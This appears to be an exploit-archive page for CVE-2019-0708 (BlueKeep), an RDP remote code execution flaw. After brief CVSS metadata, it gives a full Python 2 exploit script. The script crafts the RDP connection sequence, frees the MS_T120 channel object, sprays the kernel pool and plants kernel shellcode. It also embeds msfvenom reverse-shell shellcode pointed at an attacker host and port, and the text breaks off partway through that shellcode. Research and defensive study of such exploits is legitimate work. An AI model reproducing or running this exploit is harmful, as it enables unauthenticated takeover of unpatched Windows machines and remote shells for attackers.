Microsoft RDP Remote Code Execution

2021.06.06
Credit: Johnny Yu
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python import socket from OpenSSL import * from struct import pack, unpack from sys import argv, exit class x224ConnectionRequestPacket: def __init__(self): # total of 8 bytes self.rdpNegReq = pack( '<BBHI', 1, # type (TYPE_RDP_NEG_REQ) , 1 byte 0, # flags , 1 byte (fuzzable) 8, # length , 2 bytes 1, # request protocol , 4 bytes (fuzzable) ) # total of 7 bytes, (6 bytes without length indicator) self.x224Crq = pack( '!BBHHB', 6 + len(self.rdpNegReq), # length indication , 1 byte # 6: length of this header, excluding length byte 224, # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1 0, # dest-ref , 2 bytes (fuzzable) 0, # src-ref , 2 bytes (fuzzable) 0, # class 0 ) self.cr_tpdu = self.x224Crq + self.rdpNegReq self.tpkt_total_length = len(self.cr_tpdu) + 4 self.tpktHeader = pack( '!BBH', 3, # version , 1 byte 0, # reserved , 1 byte self.tpkt_total_length # len (include the header) , 2 bytes ) self.pdu = self.tpktHeader + self.cr_tpdu class MCSConnectInitialPacket: def __init__(self, channels): self.channelDefArray = '' for channel in channels: self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4 self.clientNetworkData = pack('<HHI', 0xc003, # Header Type len(self.channelDefArray) + 4 + 2 + 2, # Header Length len(channels) # channelCount ) self.clientNetworkData += self.channelDefArray # channelDefArray # fix - do not touch, or else requires updating header length self.clientSecurityData = pack('<HHII', 0xc002, # Header Type 12, # Header Length (2 + 2 + 4 + 4) 0x0000001b, # encryption Methods 0, # extEncryption Methods ) # fix - do not touch, or else requires updatng header length self.clientCoreData = pack('<HHHHHHHHII', 0xc001, # header type (2 bytes) 0xea, # header length (2 bytes) 0x0a, # version major (2 bytes) 0x08, # version minor (2 bytes) 0x07e8, # desktop Width (2 bytes) 0x05ee, # desktop Height (2 bytes) 0xca01, # color Depth (2 bytes) 0xaa03, # SASSequence (2 bytes) 0x0409, # keyboard Layout (4 bytes) 0x42ee, # client Build (4 bytes) ) self.clientCoreData += 'A\x00'*15 + '\x00'*2 # clientName (32 bytes) self.clientCoreData += pack('<III', 7, # keyboard (4 bytes) 0, # keyboardSubType (4 bytes) 12, # keyboardFunctionKey (4 bytes) ) self.clientCoreData += '\x00'*64 # imeFileName (64 bytes) self.clientCoreData += pack('<HHIHHH', 0xca01, # postBeta2ColorDepth (2 bytes) 1, # clientProductId (2 bytes) 0, # serialNumber (4 bytes) 0x18, # highColorDepth (2 bytes) 0x0f, # supportColorDepths (2 bytes) 0x07af, # earlyCapabilityFlags (2 bytes) ) self.clientCoreData += '\x00'*64 # clientDigProductId (64 bytes) self.clientCoreData += pack('<BBI', 7, # connectionType (1 byte) 0, # pad1octet (1 byte) 1, # serverSelectedProtocol (4 byte) - (subject to change) ) self.clientCoreData += '\x00' * 18 self.rdp_clientData = pack('!H', 0x814a - 56 - 16 - 12 + len(self.clientNetworkData), ) self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData self.conferenceCreateRequest = pack('!H', 0x8158 - 56 - 16 - 12 + len(self.clientNetworkData), ) self.conferenceCreateRequest += '\x00' self.conferenceCreateRequest += '\x08\x00' # conference name self.conferenceCreateRequest += '\x10' # lockedConference | listedConference | conductibleConference self.conferenceCreateRequest += '\x00\x01' # terminationMethod self.conferenceCreateRequest += '\xc0\x00\x44\x75\x63\x61' # userData: h221NonStandard (44756361) self.t124Identifer = '\x00\x05\x00\x14\x7c\x00\x01' # ASN.1 BER Encoded self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData self.genericConferenceControl = pack('!HH', 0x0482, len(self.connectData), ) + self.connectData self.mcs = '\x7f\x65\x82' # MCS Header self.mcs += pack('!H', len(self.genericConferenceControl) + 93) # MCS length (not including length size + header) self.mcs += '\x04\x01\x01' # calling domain selector - ASN.1 BER octet type self.mcs += '\x04\x01\x01' # called domain selector - ASN.1 BER octet type self.mcs += '\x01\x01\xff' # upward flag - ASN.1 BER boolean type # targetParameters - fix - do not touch or else need to update size self.mcs += '\x30\x19' # header | size (0x19) self.mcs += '\x02\x01\x22' # maxChannelIds - ASN.1 BER integer type * var * ? self.mcs += '\x02\x01\x02' # maxUserIds - ASN.1 BER integer type self.mcs += '\x02\x01\x00' # maxTokenIds - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type # minimumParameters - fix - do not touch or else need to update size self.mcs += '\x30\x19' # header | size (0x19) self.mcs += '\x02\x01\x01' # maxChannelIds - ASN.1 BER integer type * var * ? self.mcs += '\x02\x01\x01' # maxUserIds - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # maxTokenIds - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type self.mcs += '\x02\x02\x04\x20' # maxMCSPDUSize - ASN.1 BER integer type self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type # maximumParameters - fix - do not touch or else need to update size self.mcs += '\x30\x1c' # header | size (0x1c) self.mcs += '\x02\x02\xff\xff' # maxChannelIds - ASN.1 BER integer type * var * ? self.mcs += '\x02\x02\xfc\x17' # maxUserIds - ASN.1 BER integer type self.mcs += '\x02\x02\xff\xff' # maxTokenIds - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type self.mcs += '\x02\x01\x00' # maxThroughput - ASN.1 BER integer type self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total) self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl self.tpkt_total_length = len(self.mcsci_tpdu) + 4 self.tpktHeader = pack( '!BBH', 3, # version , 1 byte 0, # reserved , 1 byte self.tpkt_total_length # len (include the header) , 2 bytes ) self.pdu = self.tpktHeader + self.mcsci_tpdu class VirtualChannelPacket: def __init__(self, data, initiator, channelId): self.virtualChannelData = data self.channelPduHeader = pack('II', len(self.virtualChannelData), 3) self.mcsPdu = '\x64' + pack('!H', initiator) + pack('!H', channelId) + '\x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData)) self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total) self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData self.tpkt_total_length = len(self.vc_pdu) + 4 self.tpktHeader = pack( '!BBH', 3, # version , 1 byte 0, # reserved , 1 byte self.tpkt_total_length # len (include the header) , 2 bytes ) self.pdu = self.tpktHeader + self.vc_pdu def sendX224Request(s): cr = x224ConnectionRequestPacket() s.sendall(cr.pdu) data = s.recv(8000) return data def sendMCSGCC(s, channels): mcsci = MCSConnectInitialPacket(channels) s.sendall(mcsci.pdu) data = s.recv(8000) return data def sendErectDomainRequest(s): s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00') def sendAttachUserRequest(s): s.sendall('\x03\x00\x00\x08\x02\xf0\x80\x28') data = s.recv(8000) return data def sendChannelJoinRequest(s, initiator, channelId): s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x38' + pack('!HH', initiator, channelId)) data = s.recv(8000) return data def sendClientInfo(s): pdu = '\x03\x00\x01\x4f\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x40\x40\x00\x77\xee\x09\x04\x09\x04\x33\x41\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x20\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x33\x00\x39\x00\x2e\x00\x32\x00\x33\x00\x33\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x44\x00\x4f\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xe0\x01\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00' s.sendall(pdu) data = s.recv(8000) return data def sendConfirmActivePDU(s, initiator, pduSource): pdu = '\x03\x00\x02\x04\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x81\xf5\xf5\x01\x13\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\xea\x03\x06\x00\xdf\x01\x4d\x53\x54\x53\x43\x00\x16\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x9a\x07\xb4\x05\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00' s.sendall(pdu) def sendRdpPduType_Synchronize(s, initiator, pduSource): pdu = '\x03\x00\x00\x25\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x16\x16\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03' s.sendall(pdu) data = s.recv(8000) return data def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource): pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00' s.sendall(pdu) data = s.recv(8000) return data def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource): pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' s.sendall(pdu) data = s.recv(8000) return data def sendRdpPduType_FontList(s, initiator, pduSource): pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00' s.sendall(pdu) data = s.recv(8000) return data def sendToVirtualChannel(s, data, initiator, channelId): vc = VirtualChannelPacket(data, initiator, channelId) s.sendall(vc.pdu) def readFromVirtualChannel(s): while 1: data = tls.recv(8000) if '\x03\x00\x00\x22\x02\xf0\x80' in data or '\x03\x00\x00\x6a\x02\xf0\x80' in data: # got data that comes from virtual channel return data else: # junk data pass def makeKernelShellcode(): # Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501 # spoolsv.exe kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3' # explorer.exe #kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xe6\x72\xb2\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3' return kshellcode def makeKernelUserPayload(ring3, size): shellcode = makeKernelShellcode() + ring3 if (size - len(shellcode)) > 0: shellcode += '\x90' * (size - len(shellcode)) return shellcode else: print '[**] ring3 shellcode size exceeds maxmium supporting length [**]' exit(1) if __name__ == "__main__": channels = ['rdpdr', 'MS_T120', 'rdpsnd'] totalMCSChannels = len(channels) + 2 origId = 1003 lhost = '192.168.0.175' lport = 4444 rhost = argv[1] rport = 3389 print print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]' print '@straight_blast ; straightblast426@gmail.com' print print '[-] Establishing Connection' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((rhost, rport)) data = sendX224Request(s) #print "x224 Connection Response: " + data.encode('hex') ctx = SSL.Context(SSL.TLSv1_METHOD) tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() data = sendMCSGCC(tls, channels) #print "MCS GCC Response: " + data.encode('hex') sendErectDomainRequest(tls) data = sendAttachUserRequest(tls) #print "Attach User Response: " + data.encode('hex') initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0] #print "Initiator: " + str(initiator) for i in xrange(totalMCSChannels): data = sendChannelJoinRequest(tls, initiator, origId + i) #print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex') data = sendClientInfo(tls) #print "Error Alert: " + data.encode('hex') data = tls.recv(8000) #print "Demand Active PDU: " + data.encode('hex') sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1) data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Synchronize Response: " + data.encode('hex') data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex') data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex') data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Fontmap Response: " + data.encode('hex') data = readFromVirtualChannel(tls) #print "RDPDR and RDPSND are now loaded" print '[-] Connection Stablized' print '[-] Freeing Object' free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7 sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005) print '[-] Taking Over Freed Object And Pool Spraying' pool_size = 0x630 pool_address = 0xfffffa80055ff980 #pool_address = 0xfffffa800b5ff980 pool_storage_address = pool_address + 0x48 pool_shellcode_address = pool_address + 0x50 fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88 # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python reverse_shell = '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x